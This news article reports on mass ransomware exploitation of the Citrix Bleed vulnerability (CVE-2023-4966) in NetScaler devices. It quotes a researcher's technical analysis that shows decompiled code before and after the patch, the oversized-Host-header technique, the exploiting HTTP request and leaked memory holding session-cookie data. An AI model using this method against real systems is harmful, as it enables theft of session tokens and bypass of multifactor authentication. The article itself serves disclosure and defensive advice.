Getty Images
A vulnerability that allows attackers to bypass multifactor authentication and access enterprise networks using hardware sold by Citrix is under mass exploitation by ransomware hackers despite a patch being available for three weeks.
Citrix Bleed, the common name for the vulnerability, carries a severity rating of 9.4 out of a possible 10, a relatively high designation for a mere information-disclosure bug. The reason: the information disclosed can include session tokens, which the hardware assigns to devices that have already successfully provided credentials, including those providing MFA. The vulnerability, tracked as CVE-2023-4966 and residing in Citrix’s NetScaler Application Delivery Controller and NetScaler Gateway, has been under active exploitation since August. Citrix issued a patch on October 10.
Repeat: This is not a drill
Attacks have only ramped up recently, prompting security researcher Kevin Beaumont on Saturday to declare: “This vulnerability is now under mass exploitation.” He went on to say, “From talking to multiple organizations, they are seeing widespread exploitation.”
He said that as of Saturday, he had found an estimated 20,000 instances of exploited Citrix devices where session tokens had been stolen. He said his estimate was based on running a honeypot of servers that masquerade as vulnerable Netscaler devices to track opportunistic attacks on the Internet. Beaumont then compared those results with other data, including some provided by Netflow and the Shodan search engine.
Meanwhile, GreyNoise, a security company that also deploys honeypots, was showing exploits for CVE-2023-4966 coming from 135 IP addresses when this post went live on Ars. That’s a 27-fold increase from the five IPs spotted GreyNoise saw five days ago.
Advertisement
The most recent numbers available from security organization Shadowserver showed that there were roughly 5,500 unpatched devices. Beaumont has acknowledged that the estimate is at odds with his estimate of 20,000 compromised devices. It’s not immediately clear what was causing the discrepancy.
The vulnerability is relatively easy for experienced people to exploit. A simple reverse-engineering of the patch Citrix released shows the functions that are vulnerable, and from there, it’s not hard to write code that exploits them. Making attacks even easier, a handful of proof-of-concept exploits are available online.
In a detailed technical analysis, researchers from Assetnote wrote:
We found two functions that stood out ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config. Both functions perform a similar operation, they implement the OpenID Connect Discovery endpoint. The functions are both accessible unauthenticated via the /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration endpoints respectively.
Both functions also included the same patch, an additional bounds check before sending the response. This can be seen in the snippets below showing the before and after for ns_aaa_oauth_send_openid_config.
Original
iVar3 = snprintf(print_temp_rule,0x20000,
“{“issuer”: “https://%.*s”, “authorization_endpoint”: “https://%.*s/oauth/ idp/login”, “token_endpoint”: “https://%.*s/oauth/idp/token”, “jwks_uri”: “https://%.*s/oauth/idp/certs”, “response_types_supported”: [“code”, “toke n”, “id_token”], “id_token_signing_alg_values_supported”: [“RS256”], “end _session_endpoint”: “https://%.*s/oauth/idp/logout”, “frontchannel_logout_sup ported”: true, “scopes_supported”: [“openid”, “ctxs_cc”], “claims_support ed”: [“sub”, “iss”, “aud”, “exp”, “iat”, “auth_time”, “acr”, “amr “, “email”, “given_name”, “family_name”, “nickname”], “userinfo_endpoin t”: “https://%.*s/oauth/idp/userinfo”, “subject_types_supported”: [“public”]}”
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
Patched
uVar7 = snprintf(print_temp_rule,0x20000,
“{“issuer”: “https://%.*s”, “authorization_endpoint”: “https://%.*s/oauth/ idp/login”, “token_endpoint”: “https://%.*s/oauth/idp/token”, “jwks_uri”: “https://%.*s/oauth/idp/certs”, “response_types_supported”: [“code”, “toke n”, “id_token”], “id_token_signing_alg_values_supported”: [“RS256”], “end _session_endpoint”: “https://%.*s/oauth/idp/logout”, “frontchannel_logout_sup ported”: true, “scopes_supported”: [“openid”, “ctxs_cc”], “claims_support ed”: [“sub”, “iss”, “aud”, “exp”, “iat”, “auth_time”, “acr”, “amr “, “email”, “given_name”, “family_name”, “nickname”], “userinfo_endpoin t”: “https://%.*s/oauth/idp/userinfo”, “subject_types_supported”: [“public”]}”
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
...
}
The function is pretty simple, it generates a JSON payload for the OpenID configuration and uses snprintf to insert the device’s hostname at the appropriate locations in the payload. In the original version, the response is sent immediately. In the patched version, the response is only sent if snprintf returns a value less than 0x20000.
The vulnerability occurs because the return value of snprintf is used to determine how many bytes are sent to the client by ns_vpn_send_response. This is a problem because snprintf does not return how many bytes it did write to the buffer, snprintf returns how many bytes it would have written to the buffer if the buffer was big enough.
To exploit this, all we needed to do was figure out how to get the response to exceed the buffer size of 0x20000 bytes. The application would then respond with the completely filled buffer, plus whatever memory immediately followed the print_temp_rule buffer.
Exploiting the Endpoint
Initially we thought the endpoint would probably not be exploitable. The only data that was inserted was the hostname, which is something that needed administrator access to configure. Luckily for us, we were wrong and the value inserted into the payload did not come from the configured hostname. It actually came from the HTTP Host header.
We were also fortunate that NetScaler inserts the hostname into the payload six times, as this meant we could hit the buffer limit of 0x20000 bytes without running into issues because either the Host header or the whole request was too long.
We put together the following request and sent it to our NetScaler instance.
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a
Connection: close
We received the response shown below with the non-printable characters removed.
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{“issuer”: “https://aaaaa …
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{“categories”:[],”resources”:[],”subscriptionsEnabled”:false,”username”:null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ”RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è”AAA_PARAMí
We could clearly see a lot of leaked memory immediately following the JSON payload. While a lot of it was null bytes, there was some suspicious looking information in the response.
Advertisement
The name Citrix Bleed is an allusion to Heartbleed, a different critical information disclosure vulnerability that turned the Internet on its head in 2014. That vulnerability, which resided in the OpenSSL code library, came under mass exploitation and allowed the pilfering of passwords, encryption keys, banking credentials, and all kinds of other sensitive information. Citrix Bleed isn’t as dire because there are fewer vulnerable devices in use.
But Citrix Bleed is still plenty bad. Organizations should consider all Netscaler devices to have been compromised. This means patching any remaining unpatched devices. Then, all credentials should be rotated to ensure any session tokens that might have been leaked are invalidated. Last, organizations should inspect their devices and infrastructure for signs of compromise. Security firm Mandiant has in-depth security guidance here.
